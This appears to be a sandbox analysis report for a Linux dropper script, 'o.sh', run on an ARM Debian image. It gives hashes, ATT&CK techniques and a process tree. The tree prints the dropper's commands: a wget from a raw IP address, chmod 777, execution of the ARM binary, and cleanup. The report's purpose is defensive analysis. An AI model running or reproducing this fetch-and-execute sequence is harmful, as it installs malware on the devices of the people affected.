37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc

Analysis

max time kernel
146s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/08/2026, 18:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
o.sh
Size 4KB
Sample260812-wwqeaascmg
SHA256 37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc
MD5 a55e33eb6ab489431ae95ec26b64f3f8
SHA1 9884b7f0b573e2e8a0d84bd89ab50dd71feb35bd
SHA512 ec9cf25f2a3b5276be45d7dfe272bc3488fb8453dd64eb0a05f8b5e8ef7d8203d79d6f5b1f071c86135acf9949950447c740642c845446389122483097272f5e
SSDEEP 96:BNFbsjjmb3xyrdc+ZNzp3oOUZ5dq8f/R4RZ0SrPWUXVuqPwat:kcnIukWUr
TLSH
T102B1F38A13921C703DE299673265878C3187B0F756ED6F20F9CCF9A64BACE14E421367
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/sys64.arm7	682	o.sh

Unexpected DNS network traffic destination 7 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5

Reads network interface configuration 2 TTPs 3 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/eth0/type	sys64.arm7
File opened for reading	/sys/class/net/eth0/speed	sys64.arm7
File opened for reading	/sys/class/net/eth0/operstate	sys64.arm7

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ksoftirqd/0	683	sys64.arm7
Changes the process name, possibly in an attempt to hide itself	ksoftirqd/0	683	sys64.arm7

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	sys64.arm7

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	sys64.arm7

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/24	sys64.arm7
File opened for reading	/proc/25	sys64.arm7
File opened for reading	/proc/27	sys64.arm7
File opened for reading	/proc/28	sys64.arm7
File opened for reading	/proc/29	sys64.arm7
File opened for reading	/proc/3/comm	sys64.arm7
File opened for reading	/proc/20	sys64.arm7
File opened for reading	/proc/21	sys64.arm7
File opened for reading	/proc/22	sys64.arm7
File opened for reading	/proc/23	sys64.arm7
File opened for reading	/proc/26	sys64.arm7
File opened for reading	/proc/30	sys64.arm7
File opened for reading	/proc/mounts	sys64.arm7
File opened for reading	/proc/meminfo	sys64.arm7

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sys64.arm7	wget

/tmp/o.sh
/tmp/o.sh
1⤵
- Executes dropped EXE
PID:651
- /bin/uname
  uname -s
  2⤵
  PID:653
- /bin/uname
  uname -m
  2⤵
  PID:655
- /bin/rm
  rm -rf sys64.arm7
  2⤵
  PID:658
- /usr/bin/wget
  wget http://62.84.172.106/sys64.arm7
  2⤵
  - Writes file to tmp directory
  PID:660
- /bin/chmod
  chmod 777 sys64.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/sys64.arm7
  ./sys64.arm7 .arm7
  2⤵
  - Reads network interface configuration
  - Changes its process name
  - Checks CPU configuration
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:682
- /bin/rm
  rm -rf sys64.arm7
  2⤵
  PID:684
- /bin/rm
  rm -f /tmp/o.sh
  2⤵
  PID:686

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sys64.arm7

Path /tmp/sys64.arm7
Size 666KB
SHA256 84fc61c65cb8f559575883fcab6431e82745bc8e7551a540fa6f3134a56efc77
MD5 e507b41a363c6f9fecbfda6b272031bb
SHA1 168162f040b8648e5cdf77c7243846179273ec7a
SHA512 daf867e46e99d0acebc3d766f3ecced650e6baf947291cc0e7c38cdfbd16ef8b6d212f907deb9ca8da09b9cb4abf16351e7ff7f9abf3e675f3f444fa435f5c53
SSDEEP 12288:mMTJMMw9rcArInr/SgcCAwPmlyzAaS3DsZXzPvzar/S2QJx8CeVThlrKM:hcUr/HO6AaAQZnzau
TLSH
T194E44A26FC819B91D5C15BBFFF5E925933132B78E2EE7103DD141B2427DA89A0E3A601
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads